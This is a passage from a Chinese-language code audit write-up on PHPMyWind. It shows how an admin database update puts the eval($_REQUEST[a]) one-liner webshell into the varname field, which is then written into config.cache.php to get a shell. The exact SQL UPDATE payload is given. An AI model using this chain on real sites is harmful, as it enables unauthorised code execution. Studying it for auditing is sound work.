$row['varvalue']=b这个变量str就变为了
<?php if(!defined('IN_PHPMYWIND')) exit('Request Error!');$a = 'b';?>
这里很明显有防范我单引号跳出来造成getshell,我们我们想一下,如果我们能够控制$row[‘varname’]这个值是不是就可以代码执行了,比如这个值为
$row['varname']=a;eval($_REQUEST[a]);//
那么执行就变为了
$a;eval($_REQUEST[a]);//= 'b';
很明显有一句话木马,然后注释了后面,语法也没用问题 。
那么核心就是两个,第一个是控制这个$row[‘varname’],控制这个字段很明显就是修改数据库里面的内容呗 。
后台功能里面就提供了一个更新数据库的功能,我只需要执行
update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97

文章插图

文章插图
成功执行,然后我们看看数据库里面

文章插图
当然我这样看是偷懒了,用后台自带的数据库执行也是可以查看的 。
那么我们通过这个方法已经修改掉了varname,那么如果$str真的是写入文件的话我们的
webshell就到手了 。
那我们再看看Writef函数是干什么的,这个函数在common.func.php的第364-389行被定义 。

文章插图
很明显,判断如果函数传参$file的目录存在可写就写入,写入的东西就是函数传参的$str 。
那么函数传参的$str不就是前面我们拼凑出来的变量str 。
所以这里就是写入文件到config.cache.php文件 。
万事俱备了,我们改了数据库内容能让恶意语句拼接进去了 。那么我们只要触发就行 。具体操作也很简单,我们在站点配置管理随便加一个新站点 。

文章插图

文章插图
随便写就行,然后提交,我们的一句话就被插进去了 。

文章插图
然后我们只要传参a就行

文章插图
成功Getshell
九.总结
审计一下,问题就很多 。
还有更多问题没有深究,希望新同学能加油,多学习思维,动手去做 。
推荐阅读
- SQL注入获取数据的几种原理
- 这可能是最全的SQL注入总结,很有用
- 注入与攻击测试篇 Kali Linux
- 云龙县,多措并举 为茶业发展注入新活力
- 何谓SQL注入,这个漫画告诉你
- 再一次重现sql注入,黑客技法详解
- Python操作db2数据库时如何防止SQL注入
- 黑客工具sqlmap,带你了解什么是sql注入
- linux ubuntu16.04下搭建sqli-labs注入环境
- 黑客必学知识系列之access注入,带你深入了解黑客的世界
